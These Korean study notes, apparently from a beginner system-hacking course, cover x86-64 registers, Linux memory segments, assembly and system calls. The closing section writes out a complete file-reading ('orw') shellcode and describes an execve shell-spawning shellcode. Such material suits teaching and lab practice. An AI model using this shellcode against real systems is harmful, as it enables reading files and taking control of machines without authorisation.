CPU에 필요한 데이터를 빠르게 공급하고, 반출할 수 있어야 효율적인데 CPU의 연산속도가 기억장치와의 데이터 교환속도보다 압도적으로 빠르기 때문에, 기억장치만을 사용하면 병목현상이 발생한다. 따라서 CPU는 교환속도를 획기적으로 단축하기 위해 레지스터와 캐시라는 저장장치를 내부에 갖고 있다.


▶ 명령어 집합 구조

: CPU가 해석하는 명령어의 집합

(프로그램은 기계어로 이루어져 있는데, 프로그램을 실행하면 이 명령어들을 CPU가 읽고, 처리한다)

 

ISA ⊃ IA-32 , x86-64(x64), MIPS, AVR

: 모든 컴퓨터가 동일한 수준의 연산 능력을 요구하지 않으며, 컴퓨팅 환경도 다양하기 때문에 다양한 ISA 존재

ex) x86-64 : 고성능 프로세서를 설계하기 위해 사용, 이를 기반으로한 CPU들 전력 소모↑, 발열↑

안정적으로 전력을 공급 가능하며 냉각 장치를 구비하는데 공간상의 부담이 크지 않은 데스크톱, 랩톱에 적합

 

크기가 작은 임베디드 기기들은 위와 같은 제약조건을 해결하기 어렵다.

ex) 스마트폰 : 피부에 닿기 때문에 발열 문제에 민감함 + 배터리로 작동하므로 인텔의 고성능 프로세서를 장착하기 매우 부적합  전력 소모와 발열이 적은 ARM이나 MIPS 또는 AVR의 프로세서를 사용한다


▶ x86-64 아키텍처

- x64 아키텍처는 인텔의 64비트 CPU 아키텍처이다. 인텔의 32비트 CPU 아키텍처인 IA-32를 64비트 환경에서 사용할 수 있도록 확장한 것으로, 대다수의 개인용 컴퓨터들이 인텔의 x64 CPU를 사용하고 있다.

 

- n 비트 아키텍처

'64비트 아키텍처', '32비트 아키텍처’에서 64와 32는 CPU가 한번에 처리할 수 있는 데이터의 크기이다.

컴퓨터과학에서는 이를 CPU가 이해할 수 있는 데이터의 단위라는 의미에서 WORD라고 부른다. WORD의 크기는 CPU가 어떻게 설계됐느냐에 따라 달라진다.

ex) 일반적인 32비트 아키텍처에서 ALU는 32비트까지 계산 가능하며, 레지스터의 용량 및 각종 버스들의 대역폭이 32비트까지 처리 가능하다

 

- WORD가 크면 유리한 점

현대의 PC는 대부분 64비트 아키텍처의 CPU를 사용하는데, 그 이유 중 하나는 32비트 아키텍처의 CPU가 제공할 수 있는 가상메모리의 크기가 작기 때문이다. 가상메모리는 CPU가 프로세스에게 제공하는 가상의 메모리 공간인데, 32비트 아키텍처에서는 4,294,967,296바이트(=4기가 바이트)가 최대로 제공 가능한 가상메모리의 크기다. 일상적으로 사용하기에는 적절할 수 있지만, 많은 메모리 자원을 소모하는 전문 소프트웨어나 고사양의 게임 등을 실행할 때는 부족할 수 있다.

반면 64비트 아키텍처에서는 이론상 16엑사 바이트(=16,777,216 테라바이트)의 가상메모리를 제공할 수 있다. 이는 웬만해서는 완전한 사용이 불가능할 정도로 큰 크기이기 때문에, 가용한 메모리 자원이 부족해서 소프트웨어의 최고 성능을 낼 수 없다거나 소프트웨어의 실행이 불가능한 상황은 거의 발생하지 않는다.

 

- 레지스터

: CPU가 데이터를 빠르게 저장하고 사용할 때 이용하는 보관소이며, 산술 연산에 필요한 데이터를 저장하거나 주소를 저장하고 참조하는 등 다양한 용도로 사용된다.

 

x64 아키텍처 ⊃ 범용 레지스터, 세그먼트 레지스터, 명령어 포인터 레지스터, 플래그 레지스터

 

1) 범용 레지스터: 주용도는 있으나, 그 외의 다양한 용도로 쓰일 수 있는 레지스터

x86-64에서 각각의 범용 레지스터는 8바이트를 저장할 수 있으며, 부호 없는 정수를 기준으로 2^64 - 1까지의 수를 나타낼 수 있다.

 

2) 세그먼트 레지스터

: x64로 아키텍처가 확장되면서 용도에 큰 변화가 생긴 레지스터

cs, ss, ds, es, fs, gs 총 6가지 세그먼트 레지스터가 존재하며 각 레지스터의 크기는 16비트이다.

 

과거 IA-32, IA-16에서는 세그먼트 레지스터를 이용하여 사용 가능한 물리 메모리의 크기를 키우려고 했다. 예를 들어 IA-16에서는, 어떤 주소를 cs:offset라고 한다면, 실제로는 cs<<4 + offset의 주소를 사용하여 16비트 범위에서 접근할 수 없는 주소에 접근할 수 있었다.

당시에는 범용 레지스터의 크기가 작아서 사용 가능한 메모리의 주소 폭이 좁았지만, x64에서는 사용 가능한 주소 영역이 굉장히 넓기 때문에 이런 용도로는 거의 사용되지 않는다.

현대의 x64에서 cs, ds, ss 레지스터는 코드 영역과 데이터, 스택 메모리 영역을 가리킬 때 사용되고, 나머지 레지스터는 운영체제 별로 용도를 결정할 수 있도록 범용적인 용도로 제작된 세그먼트 레지스터이다.

 

3) 명령 포인터 레지스터

프로그램은 일련의 기계어 코드들로 이루어져 있는데 이 중에서 CPU가 어느 부분의 코드를 실행할지 가리키는게 명령어 포인터 레지스터의 역할이다. x64 아키텍처의 명령어 레지스터는 rip이며, 크기는 8바이트다.

 

4) 플래그 레지스터

: 프로세서의 현재 상태를 저장하고 있는 레지스터

 

x64 아키텍처에서는 RFLAGS라고 불리는 64비트 크기의 플래그 레지스터가 존재(과거 16비트 플래그 레지스터가 확장)

깃발을 올리고, 내리는 행위로 신호를 전달하듯, 플래그 레지스터는 자신을 구성하는 여러 비트들로 CPU의 현재 상태를 표현한다.

RFLAGS는 64비트이므로 최대 64개의 플래그를 사용할 수 있지만, 실제로는 오른쪽의 20여개의 비트만 사용한다. 

 

+) 레지스터 호환

x86-64 아키텍처는 IA-32의 64비트 확장 아키텍처이며, 호환이 가능하다. IA-32에서 CPU의 레지스터들은 32비트 크기를 가지며, 이들의 명칭은 각각 eax, ebx, ecx, edx, esi, edi, esp, ebp이다. 호환성을 위해 이 레지스터들은 x86-64에서도 그대로 사용이 가능하다.

 

rax, rbx, rcx, rdx, rsi, rdi, rsp, rbp가 이들의 확장된 형태이며, eax, ebx 등은 확장된 레지스터의 하위 32비트를 가르킨다. ex) eax는 rax의 하위 32비트를 의미한다.

 

과거 16비트 아키텍처인 IA-16과의 호환을 위해 ax, bx, cx, dx, si, di, sp, bp는 eax, ebx, ecx, edx, esi, edi, esp ,ebp의 하위 16비트를 가르킨다.

이들 중 몇몇은 다시 상위 8비트, 하위 8비트로 나뉜다.


Linux Memory Layout(리눅스 메모리 구조)

 

▶ 세그먼트

: 적재되는 데이터의 용도별로 메모리의 구획을 나눈 것

→ 코드 세그먼트, 데이터 세그먼트, BSS세그먼트, 힙 세그먼트, 스택 세그먼트

 

 

- 코드 세그먼트(=텍스트 세그먼트)

: 실행 가능한 기계 코드가 위치하는 영역

 

프로그램이 동작하려면 코드를 실행할 수 있어야 하므로 이 세그먼트에는 읽기 권한과 실행 권한이 부여된다.

반면 쓰기 권한이 있으면 공격자가 악의적인 코드를 삽입하기가 쉬워지므로, 대부분의 현대 운영체제는 이 세그먼트에 쓰기 권한을 제거한다.

 

int main() { return 31337; }

정수 31337을 반환하는 main함수가 컴파일 되면 554889e5b8697a00005dc3라는 기계 코드로 변환되는데, 이 기계 코드가 코드 세그먼트에 위치하게 된다.

 

- 데이터 세그먼트

: 컴파일 시점에 값이 정해진 전역 변수 및 전역 상수들이 위치

 

CPU가 이 세그먼트의 데이터를 읽을 수 있어야 하므로, 읽기 권한이 부여된다.

 

쓰기가 가능한 세그먼트와 쓰기가 불가능한 세그먼트로 다시 분류되는데, 쓰기가 가능한 세그먼트는 전역 변수와 같이 프로그램이 실행되면서 값이 변할 수 있는 데이터들이 위치한다.

반면 쓰기가 불가능한 세그먼트에는 프로그램이 실행되면서 값이 변하면 안되는 데이터들이 위치한다. 전역으로 선언된 상수가 여기에 포함된다. 이런 세그먼트를 rodata(read-only data) 세그먼트 라고 부른다.

 

int data_num = 31337;                       // data
char data_rwstr[] = "writable_data";        // data
const char data_rostr[] = "readonly_data";  // rodata
char *str_ptr = "readonly";  // str_ptr은 data, 문자열은 rodata
int main() { ... }

str_ptr은 “readonly”라는 문자열을 가리키고 있는데, 이 문자열은 상수 문자열로 취급되어 rodata에 위치하며, 이를 가리키는 str_ptr은 전역 변수로서 data에 위치한다.

 

- BSS 세그먼트

: 컴파일 시점에 값이 정해지지 않은 전여 변수가 위치하는 메모리 영역(선언만 하고 초기화하지 않은 전역변수 등 포함)

 

읽기 권한쓰기 권한이 부여된다.

 

이 세그먼트의 메모리 영역은 프로그램이 시작될 때, 모두 0으로 값이 초기화된다. 그래서 C 코드에서 초기화되지 않은 전역 변수의 값은 0이된다.

 

int bss_data;
int main() {
  printf("%d\n", bss_data);  // 0
  return 0;
}

초기화 되지 않은 전역 변수인 bss_data가 BSS 세그먼트에 위치하게 된다.

 

- 스택 세그먼트

: 프로세스의 스택이 위치하는 영역, 함수의 인자나 지역 변수와 같은 임시 변수들이 실행중에 여기에 저장된다.

 

CPU가 자유롭게 값을 읽고 쓸 수 있어야 하므로, 읽기와 쓰기 권한이 부여된다.

 

스택 프레임(단위)은 함수가 호출될 때 생성되고 반환될 때 해제된다. 프로그램의 전체 실행 흐름은 사용자의 입력 등의 영향을 받는다.

 

어떤 프로세스가 실행될 때, 이 프로세스가 얼마 만큼의 스택 프레임을 사용하게 될 지를 미리 계산하는 것은 일반적으로 불가능하다. 그래서 운영체제는 프로세스를 시작할 때 작은 크기의 스택 세그먼트를 먼저 할당해주고, 부족해 질 때마다 이를 확장해준다. 스택에 대해서 ‘아래로 자란다'라는 표현을 종종 사용하는데, 이는 스택이 확장될 때, 기존 주소보다 낮은 주소로 확장되기 때문이다.

 

void func() {
  int choice = 0;
  scanf("%d", &choice);
  if (choice)
    call_true();
  else
    call_false();
  return 0;
}

사용자가 입력한 choice에 따라 호출되는 함수가 달라진다. 지역변수 choice가 스택에 저장된다.

 

- 힙 세그먼트

: 힙 데이터가 위치하는 세그먼트, 실행중에 동적으로 할당될 수 있고 리눅스에서는 스택 세그먼트와 반대 방향으로 자란다.

 

※ 힙과 스택 세그먼트가 자라는 방향이 반대인 이유

두 세그먼트가 동일한 방향으로 자라며, 연속된 메모리 주소에 각각 할당된다고 가정했을 때 기존의 힙 세그먼트를 모두 사용하고 나면, 이를 확장하는 과정에서 스택 세그먼트와 충돌하게 된다.

이를 쉽게 해결하기 위해 리눅스는 스택을 메모리의 끝에 위치시키고, 힙과 스택을 반대로 자라게 한다. 

 

C언어에서 malloc(), calloc() 등을 호출해서 할당받는 메모리가 이 세그먼트에 위치하게 되며, 일반적으로 읽기쓰기권한이 부여된다.

 

int main() {
  int *heap_data_ptr = malloc(sizeof(*heap_data_ptr));  // 동적 할당한 힙 영역의 주소를 가리킴
  *heap_data_ptr = 31337;              // 힙 영역에 값을 씀
  printf("%d\n", *heap_data_ptr);  // 힙 영역의 값을 사용함
  return 0;
}

heap_data_ptr에 malloc()으로 동적 할당한 영역의 주소를 대입하고, 이 영역에 값을 쓴다. heap_data_ptr은 지역변수이므로 스택에 위치하며, malloc으로 할당받은 힙 세그먼트의 주소를 가리킨다.

 

세그먼트 요약


x86 Assembly

어셈블러 : 개발자들이 어셈블리어로 코드를 작성하면 컴퓨터가 이해할 수 있는 기계어로 코드를 치환

역어셈블러 : 기계어를 어셈블리어로 번역

 

▶ 어셈블리 언어

: 기계어와 치환되는 언어, 다양한 종류의 어셈블리어가 존재한다

 

[x64 어셈블리 언어]

- 기본 구조

x64 어셈블리 언어는 한국어보다 훨씬 단순한 문법 구조를 지닌다. 이들의 문장은 동사에 해당하는 명령어(Operation Code, Opcode)와 목적어에 해당하는 피연산자(Operand)로 구성된다.

- 명령어

 

- 피연산자

  • 상수(Immediate Value)
  • 레지스터(Register)
  • 메모리(Memory)

메모리 피연산자는 [ ]으로 둘러싸인 것으로 표현되며, 앞에 크기 지정자(Size Directive) TYPE PTR이 추가될 수 있다. 타입에는 BYTE, WORD, DWORD, QWORD가 올 수 있으며, 각각 1바이트, 2바이트, 4바이트, 8바이트의 크기를 지정한다.

 

▶ x86-64 어셈블리 멍령어

- 데이터 이동

데이터 이동 명령어는 어떤 값을 레지스터나 메모리에 옮기도록 지시한다.

 

- 산술연산

산술 연산 명령어는 덧셈, 뺄셈, 곱셈, 나눗셈 연산을 지시한다.

 

- 논리 연산 - and & or

논리 연산 명령어는 and, or, xor, neg 등의 비트 연산을 지시한다.

 

- 비교

비교 명령어는 두 피연산자의 값을 비교하고 플래그를 설정한다.

 

- 분기

분기 명령어는 rip를 이동시켜 실행 흐름을 바꾼다.

 

▶ Opcode : 스택

 

▶ Opcode : 프로시저

프로시저(Procedure) : 특정 기능을 수행하는 코드 조각

프로시저를 사용하면 전체 코드의 크기를 줄일 수 있으며, 코드의 가독성을 크게 높일 수 있다.

프로시저를 부르는 행위를 호출(Call)이라고 부르며, 프로시저에서 돌아오는 것을 반환(Return)이라고 부른다. 프로시저를 호출할 때는 프로시저를 실행하고 나서 원래의 실행 흐름으로 돌아와야 하므로, call 다음의 명령어 주소(return address, 반환 주소)를 스택에 저장하고 프로시저로 rip를 이동시킨다.

x64 어셈블리언어에는 프로시저의 호출과 반환을 위한 call, leave, ret 명령어가 있다.

- 스택 프레임

스택 : 함수별로 자신의 지역변수 또는 연산과정에서 부차적으로 생겨나는 임시 값들을 저장하는 영역

만약 스택 영역을 아무런 구분 없이 사용하게 된다면, 서로 다른 두 함수가 같은 메모리 영역을 사용할 수 있게 된다.

ex) A라는 함수가 B라는 함수를 호출하는데, 이 둘이 같은 스택 영역을 사용한다면, B에서 A의 지역변수를 모두 오염시킬 수 있다. 이 경우, B에서 반환한 뒤 A는 정상적인 연산을 수행할 수 없다.

따라서 함수별로 서로가 사용하는 스택의 영역을 명확히 구분하기 위해 스택프레임이 사용된다.

 

 

▶ Opcode : 시스템 콜

운영체제는 연결된 모든 하드웨어 및 소프트웨어에 접근할 수 있으며, 이들을 제어할 수도 있다. 그리고 해킹으로부터 이 막강한 권한을 보호하기 위해 커널 모드와 유저 모드로 권한을 나눈다.

 

커널 모드 : 운영체제가 전체 시스템을 제어하기 위해 시스템 소프트웨어에 부여하는 권한

파일시스템, 입력/출력, 네트워크 통신, 메모리 관리 등 모든 저수준의 작업은 사용자 모르게 커널 모드에서 진행된다. 커널 모드에서는 시스템의 모든 부분을 제어할 수 있기 때문에, 해커가 커널 모드까지 진입하게 되면 시스템은 거의 무방비 상태가 된다. 

 

유저 모드 : 운영체제가 사용자에게 부여하는 권한

브라우저를 이용하여 드림핵을 보거나, 유튜브를 시청하는 것, 게임을 하고 프로그래밍을 하는 것 등은 모두 유저 모드에서 이루어진다. 리눅스에서 루트 권한으로 사용자를 추가하고, 패키지를 내려 받는 행위 등도 마찬가지이다. 유저 모드에서는 해킹이 발생해도, 해커가 유저 모드의 권한까지 밖에 획득하지 못하기 때문에 해커로 부터 커널의 막강한 권한을 보호할 수 있다.

 

시스템 콜(system call, syscall) : 유저 모드에서 커널 모드의 시스템 소프트웨어에게 어떤 동작을 요청하기 위해 사용 소프트웨어 대부분은 커널의 도움이 필요하다. 예를 들어, 사용자가 cat flag를 실행하면, cat은 flag라는 파일을 읽어서 사용자의 화면에 출력해 줘야 하는데 flag는 파일 시스템에 존재하므로 이를 읽으려면 파일시스템에 접근할 수 있어야 한다. 유저 모드에서는 이를 직접 할 수 없으므로 커널이 도움을 줘야 한다. 여기서, 도움이 필요하다는 요청을 시스템 콜이라고 합니다. 유저 모드의 소프트웨어가 필요한 도움을 요청하면, 커널이 요청한 동작을 수행하여 유저에게 결과를 반환한다.

x64아키텍쳐에서는 시스템콜을 위해 syscall 명령어가 있다.

 

시스템 콜은 함수다. 필요한 기능과 인자에 대한 정보를 레지스터로 전달하면, 커널이 이를 읽어서 요청을 처리한다. 리눅스에서는 x64아키텍쳐에서 rax로 무슨 요청인지 나타내고, 아래의 순서대로 필요한 인자를 전달한다.

 

- x64 syscall 체이블

 


Shellcode

: 익스플로잇을 위해 제작된 어셈블리 코드 조각

 

▶ 익스플로잇(Exploit)

: 상대 시스템을 공격하는 것, '부당하게 이용하다'라는 뜻

 

▶ orw 셸코드

: 파일을 열고 읽은 뒤 화면에 출력해주는 셸코드

//의사코드
char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30); 
write(1, buf, 0x30);

 

- orw 셸코드를 작성하기 위한 syscall

 

1) int fd = open("/tmp/flag", O_RDONLY, NULL)

첫 번째로 해야 할 일은 “/tmp/flag”라는 문자열을 메모리에 위치시키는 것이다. 이를 위해 스택에 0x616c662f706d742f67(/tmp/flag)를 push한다. 그리고 rdi가 이를 가리키도록 rsp를 rdi로 옮긴다.

O_RDONLY는 0이므로, rsi는 0으로 설정한다.

// https://code.woboq.org/userspace/glibc/bits/fcntl.h.html#24
/* File access modes for `open' and `fcntl'.  */
#define        O_RDONLY        0        /* Open read-only.  */
#define        O_WRONLY        1        /* Open write-only.  */
#define        O_RDWR          2        /* Open read/write.  */

 

파일을 읽을 때, mode는 의미를 갖지 않으므로 rdx는 0으로 설정한다. rax는 open의 syscall 값인 2로 설정한다.

 

2) read(fd, buf, 0x30)

 

 

syscall의 반환 값은 rax로 저장된다. 따라서 open으로 획득한 /tmp/flag의 fd는 rax에 저장된다. read의 첫 번째 인자를 이 값으로 설정해야 하므로 rax를 rdi에 대입한다.

rsi는 파일에서 읽은 데이터를 저장할 주소를 가리킨다. 0x30만큼 읽을 것이므로, rsi에 rsp-0x30을 대입한다.

rdx는 파일로부터 읽어낼 데이터의 길이인 0x30으로 설정한다.

read 시스템콜을 호출하기 위해서 rax를 0으로 설정한다.

 

fd(파일 서술자) : 유닉스 계열의 운영체제에서 파일에 접근하는 소프트웨어에 제공하는 가상의 접근 제어자

프로세스마다 고유의 서술자 테이블을 갖고 있으며, 그 안에 여러 파일 서술자를 저장한다. 서술자 각각은 번호로 구별되는데, 일반적으로 0번은 일반 입력(Standard Input, STDIN), 1번은 일반 출력(Standard Output, STDOUT), 2번은 일반 오류(Standard Error, STDERR)에 할당되어 있으며, 이들은 프로세스를 터미널과 연결해준다. 그래서 우리는 키보드 입력을 통해 프로세스에 입력을 전달하고, 출력을 터미널로 받아볼 수 있다.

프로세스가 생성된 이후, 위의 open같은 함수를 통해 어떤 파일과 프로세스를 연결하려고 하면, 기본으로 할당된 2번 이후의 번호를 새로운 fd에 차례로 할당해준다. 그러면 프로세스는 그 fd를 이용하여 파일에 접근할 수 있다. 

 

3) write(1, buf, 0x20)

 

출력은 stdout으로 할 것이므로, rdi를 0x1로 설정한다.

rsi와 rdx는 read에서 사용한 값을 그대로 사용한다.

write 시스템콜을 호출하기 위해서 rax를 1로 설정한다.

 

▶ orw 셸코드 컴파일 및 실행

 

- 컴파일

이 강의에서의 컴파일은 셸코드를 실행할 수 있는 스켈레톤 코드를 C언어로 작성하고, 거기에 셸코드를 탑재하는 방법을 사용한다.

스켈레톤 코드 : 핵심 내용이 비어있는, 기본 구조만 갖춘 코드

// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel
__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    "push 0x67\n"
    "mov rax, 0x616c662f706d742f \n"
    "push rax\n"
    "mov rdi, rsp    # rdi = '/tmp/flag'\n"
    "xor rsi, rsi    # rsi = 0 ; RD_ONLY\n"
    "xor rdx, rdx    # rdx = 0\n"
    "mov rax, 2      # rax = 2 ; syscall_open\n"
    "syscall         # open('/tmp/flag', RD_ONLY, NULL)\n"
    "\n"
    "mov rdi, rax      # rdi = fd\n"
    "mov rsi, rsp\n"
    "sub rsi, 0x30     # rsi = rsp-0x30 ; buf\n"
    "mov rdx, 0x30     # rdx = 0x30     ; len\n"
    "mov rax, 0x0      # rax = 0        ; syscall_read\n"
    "syscall           # read(fd, buf, 0x30)\n"
    "\n"
    "mov rdi, 1        # rdi = 1 ; fd = stdout\n"
    "mov rax, 0x1      # rax = 1 ; syscall_write\n"
    "syscall           # write(fd, buf, 0x30)\n"
    "\n"
    "xor rdi, rdi      # rdi = 0\n"
    "mov rax, 0x3c	   # rax = sys_exit\n"
    "syscall		   # exit(0)");
void run_sh();
int main() { run_sh(); }

 

- 실행

셸코드가 실제로 작동함을 확인하기 위해 /tmp/flag 파일을 생성한다.

 

orw.c를 컴파일하고 실행한다.

 

셸코드가 성공적으로 실행되어 우리가 저장한 문자열이 출력되는 것을 확인할 수 있다. 만약 공격의 대상이 되는 시스템에서 이 셸코드를 실행할 수 있다면, 상대 서버의 자료를 유출해낼 수 있을 것이다.

 

▶ orw 셸코드 디버깅

 

orw를 gdb로 열고 run_sh()함수에 브레이크 포인트를 설정한다.

 

run명령어로 run_sh()함수의 시작부분까지 코드를 실행시키면 작성한 셸코드에 rip가 위치한 것을 확인할 수 있다.

 

1) int fd = open("/tmp/flag", O_RDONLY, NULL)

syscall 전까지 실행하고 syscall에 들어가는 인자를 확인해본다.

pwndbg플러그인은 syscall을 호출할 때, 인자를 분석해준다.

셸코드를 작성할 때 계획했듯이 open(“/tmp/flag”, O_RDONLY, NULL)가 실행됨을 확인할 수 있다.

 

open 시스템 콜을 수행한 결과로 /tmp/flag의 fd(3)이 rax에 저장된다.

 

2) read(fd, buf, 0x30)

syscall 직전까지 실행하고 인자를 살펴본다.

새로 할당한 /tmp/flag의 fd(3)에서 데이터를 0x30바이트만큼 읽어서 0x7fffffffc278에 저장한다.

 

실행 결과를 x/s로 확인해보자

0x7fffffffc278에 /tmp/flag 문자열이 성공적으로 저장되었다.

 

2) write(1, buf, 0x20)

읽어낸 데이터를 출력하는 write 시스템 콜을 실행한다.

 

데이터를 저장한 0x7fffffffc278에서 48byte를 출력한다.

이번에도 /tmp/flag의 데이터 외에 알수없는 문자열이 출력됐다. 이는 초기화되지 않은 메모리 영역 사용에 의한 것이다.

 

execve 셸코드

셸(Shell) : 운영체제에 명령을 내리기 위해 사용되는 사용자의 인터페이스, 운영체제의 핵심 기능을 하는 프로그램을 커널(Kernel, 호두 속 내용물)이라고 하는 것과 대비된다. 셸을 획득하면 시스템을 제어할 수 있게 되므로 통상적으로 셸 획득을 시스템 해킹의 성공으로 여긴다.

execve 셸코드 : 임의의 프로그램을 실행하는 셸코드

이를 이용하면 서버의 셸을 획득할 수 있다.

최신의 리눅스는 대부분 sh, bash를 기본 셸 프로그램으로 탑재하고 있으며, 이 외에도 zsh, tsh 등의 셸을 유저가 설치해서 사용할 수 있다. 

 

▶ execve("/bin/sh", null, null)

execve 셸코드는 execve 시스템 콜만으로 구성된다.

argv : 실행파일에 넘겨줄 인자, envp는 환경변수

sh만 실행하면 되므로 다른 값들은 전부 null로 설정해줘도 된다. 리눅스에서는 기본 실행 프로그램들이 /bin/ 디렉토리에 저장되어 있으며, 우리가 실행할 sh도 여기에 저장되어 있다.

 

▶ execve 셸코드 컴파일 및 실행

실행 결과로 sh가 실행된 것을 확인할 수 있다.

이를 디버깅하는 것은 위의 orw셸코드와 동일하다.

+ Recent posts